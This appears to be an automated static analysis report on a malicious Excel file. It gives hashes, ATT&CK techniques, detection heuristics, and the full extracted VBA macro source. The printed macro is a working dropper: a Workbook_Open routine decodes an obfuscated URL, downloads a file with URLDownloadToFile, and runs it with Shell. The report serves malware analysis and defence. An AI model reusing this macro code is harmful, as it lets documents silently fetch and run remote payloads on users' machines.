Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2036453918e928f3…

MALICIOUS

Office (OLE)

48.0 KB Created: 1996-10-08 23:32:33 Authoring application: Microsoft Excel First seen: 2015-03-15
MD5: 2fe17364f2e61b365ae024a9d3eaba8f SHA-1: 66e53ccccf482f7191c3a6ed27aa84379e84e845 SHA-256: 2036453918e928f3a1931c5554c2e0167bd2fce399f76f090e4ba3bd2bedd72f
316 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file is an Excel document containing a Workbook_Open VBA macro. This macro is designed to execute a Shell command, which is highly indicative of downloading and executing a secondary payload. The presence of URLDownloadToFile API calls further supports this, suggesting the macro's primary purpose is to fetch and run malicious content from a remote source. The ClamAV signature 'Xls.Dropper.Agent-1669978' also points to a dropper functionality.

Heuristics 8

  • ClamAV: Xls.Dropper.Agent-1669978 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-1669978
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    j_W8 = Shell(R4_t, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        "URLDownloadToFileA" (ByVal sdfFFF As LongPtr, _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    mog4O4d49 vxRuzMJsFffGPcDYCb("hHtztHp^:R/u/UjЃuanviЃdze,sMijgxn{.)dWeM/…j%sd/pb1i@n,.ie`xae^"), Environ(vxRuzMJsFffGPcDYCb("TgMJPW")) & vxRuzMJsFffGPcDYCb("\eG…HUjSkrd_fdgT.„eXx/e+")

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6029 bytes
SHA-256: b07383eb27455b0baf3d9129be3c1d99f77a21a717582fd915a0714aa4af56a4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
jQ5
End Sub

Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Class3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Module1"

Public Function vxRuzMJsFffGPcDYCb(AUKBPaIIvwQgsU As String) As String
GoTo jvLMiktQy
jvLMiktQy:
GoTo YexFubVVUa
YexFubVVUa:
For SrJVJGASPnQ = 1 To Len(AUKBPaIIvwQgsU) Step 2
GoTo pPBRUYPoRwgcQlcS
pPBRUYPoRwgcQlcS:
GoTo ZZMyawIQEV
ZZMyawIQEV:
GoTo maQQjhDZxDzLOdzA
maQQjhDZxDzLOdzA:
GoTo OsHauNHxdmnlqbTbFSR
OsHauNHxdmnlqbTbFSR:
GoTo ogETMxfh
ogETMxfh:
vxRuzMJsFffGPcDYCb = vxRuzMJsFffGPcDYCb & Mid(AUKBPaIIvwQgsU, SrJVJGASPnQ, 1)
GoTo wGcpdOq
wGcpdOq:
Next
GoTo UmYcCdoiA
UmYcCdoiA:
GoTo pOGCNfuPDMkfIKrKQZN
pOGCNfuPDMkfIKrKQZN:
GoTo DBGekrVjiyCEw
DBGekrVjiyCEw:
GoTo dNvxRuzM
dNvxRuzM:
GoTo FffGPcDYCb
FffGPcDYCb:
GoTo tEyQzQGQQSfvKRTdAv
tEyQzQGQQSfvKRTdAv:
End Function


Attribute VB_Name = "Class4"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Class5"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Class6"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "dfgfdg"
#If VBA7 Then
    Private Declare PtrSafe Function FnjkHBKJBl Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal sdfFFF As LongPtr, _
    ByVal kJNJKBl As String, _
    ByVal ghjVFF As String, _
    ByVal BGgdhF As Long, _
    ByVal VVgfh As LongPtr) As LongPtr
#Else
    Private Declare Function FnjkHBKJBl Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal sdfFFF As Long, _
    ByVal kJNJKBl As String, _
    ByVal ghjVFF As String, _
    ByVal BGgdhF As Long, _
    ByVal VVgfh As Long) As Long
#End If
Sub jQ5()
mog4O4d49 vxRuzMJsFffGPcDYCb("hHtztHp^:R/u/UjЃuanviЃdze,sMijgxn{.)dWeM/…j%sd/pb1i@n,.ie`xae^"), Environ(vxRuzMJsFffGPcDYCb("TgMJPW")) & vxRuzMJsFffGPcDYCb("\eG…HUjSkrd_fdgT.„eXx/e+")
End Sub
Function mog4O4d49(Mh9_094suu As String, R4_t As String) As Boolean
vJHKBJdfkgfg = FnjkHBKJBl(0&, Mh9_094suu, R4_t, 0&, 0&)
Dim j_W8
j_W8 = Shell(R4_t, 1)
End Function





Attribute VB_Name = "Class7"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Module2"

Attribute VB_Name = "Class8"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Class9"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Class10"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False